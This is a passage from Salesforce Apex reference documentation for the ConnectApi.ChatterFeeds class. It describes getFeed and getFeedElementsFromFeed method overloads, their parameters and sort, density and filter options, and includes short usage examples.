ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.
Return Value
Type: ConnectApi.Feed
getFeed(communityId, feedType, subjectId)
Returns the feed for the specified feed type for the specified user.
API Version
28.0
Available to Guest Users
32.0
865
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
String subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
Return Value
Type: ConnectApi.Feed
getFeed(communityId, feedType, subjectId, sortParam)
Returns the feed for the specified feed type for the specified user, in the specified order.
API Version
28.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
String subjectId, ConnectApi.FeedSortOrder sortParam)
866
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.Feed
getFeedDirectory(String)
Returns a list of all feeds available to the context user.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedDirectory getFeedDirectory(String communityId)
867
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.FeedDirectory
getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String
feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.FeedElement
getFeedElement(communityId, feedElementId, recentCommentCount,
elementsPerBundle)
Returns information about the specified feed element with the specified number of elements per bundle including no more than the
specified number of comments per feed element.
868
ChatterFeeds ClassReference
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String
feedElementId, Integer recentCommentCount, Integer elementsPerBundle)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
Return Value
Type: ConnectApi.FeedElement
getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldn’t be
loaded.
API Version
31.0
Available to Guest Users
32.0
869
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getFeedElementBatch(String communityId,
List<String> feedElementIds)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementIds
Type: String
A list of up to 500 feed element IDs.
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.FeedElement object.
getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.PollCapability getFeedElementPoll(String communityId, String
feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
870
ChatterFeeds ClassReference
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.PollCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
String feedElementId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
Return Value
Type: ConnectApi.FeedElementPage Class
getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize,
elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.
871
ChatterFeeds ClassReference
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
String feedElementId, String pageParam, Integer pageSize, Integer elementsPerBundle,
Integer recentCommentCount)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
Return Value
Type: ConnectApi.FeedElementPage Class
getFeedElementsFromFeed(communityId, feedType)
Returns the first page of feed elements from the Company, DirectMessages, Home, Moderation, and PendingReview
feed types. The page contains the default number of items.
872
ChatterFeeds ClassReference
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
Return Value
Type: ConnectApi.FeedElementPage Class
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, DirectMessages, Home, Moderation, and PendingReview
feed types, in the specified order.
API Version
31.0
873
ChatterFeeds ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.
Return Value
Type: ConnectApi.FeedElementPage Class
874
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, DirectMessages, Home, Moderation, and
PendingReview feed types, in the specified order. Each feed element contains no more than the specified number of comments.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
875
ChatterFeeds ClassReference
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
element contains no more than the specified number of comments.
API Version
32.0
876
ChatterFeeds ClassReference
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. The only valid value is Home.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
When the sortParam is MostViewed, you must pass in null for the pageParam.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
When the sortParam is MostViewed, the pageSize must be a value from 1 to 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
877
ChatterFeeds ClassReference
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter,
result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed elements for any feed type other than Company, DirectMessages, Filter, Home, Moderation,
and PendingReview, for the specified user or record. The page contains the default number of elements.
API Version
31.0
Available to Guest Users
31.0
878
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
Example for Getting the Context User’s News Feed
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.News, 'me');
Example for Getting Another User’s Profile Feed
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
879
ChatterFeeds ClassReference
Example for Getting Another User’s Record Feed
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.Record, '005R0000000HwMA');
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam)
Returns the feed elements on the specified page for any feed type other than Company, DirectMessages, Filter, Home,
Moderation, and PendingReview, in the specified order.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
880
ChatterFeeds ClassReference
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
The number of feed elements per page.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From a Feed
Get Feed Elements From Another User’s Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam)
Returns the feed elements on the specified page for any feed type other than Company, DirectMessages, Filter, Home,
Moderation, and PendingReview, in the specified order. Each feed element includes no more than the specified number of
comments.
API Version
31.0
881
ChatterFeeds ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
Home, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
882
ChatterFeeds ClassReference
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From a Feed
Get Feed Elements From Another User’s Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
883
ChatterFeeds ClassReference
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
884
ChatterFeeds ClassReference
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another User’s Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, showInternalOnly, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, filter)
Returns the specified page of feed elements for the UserProfile feed. Use this method to filter the UserProfile feed to
include only feed elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out.
Currently, feed elements scoped to communities have a User or a Group parent record. However, other parent record types could be
scoped to communities in the future.
API Version
35.0
Available to Guest Users
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter)
885
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
886
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
Example
This example gets only community-specific feed elements.
ConnectApi.FeedElementPage fep =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(Network.getNetworkId(),
ConnectApi.FeedType.UserProfile,'me', 3, ConnectApi.FeedDensity.FewerUpdates, null,null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, filter, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)
887
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
888
ChatterFeeds ClassReference
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another User’s Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, sortParam, showInternalOnly, result)
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
filter)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only. Specify the maximum number of feed elements in a bundle and the feed filter.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter
filter)
889
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
showInternalOnly
Type: Boolean
890
ChatterFeeds ClassReference
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
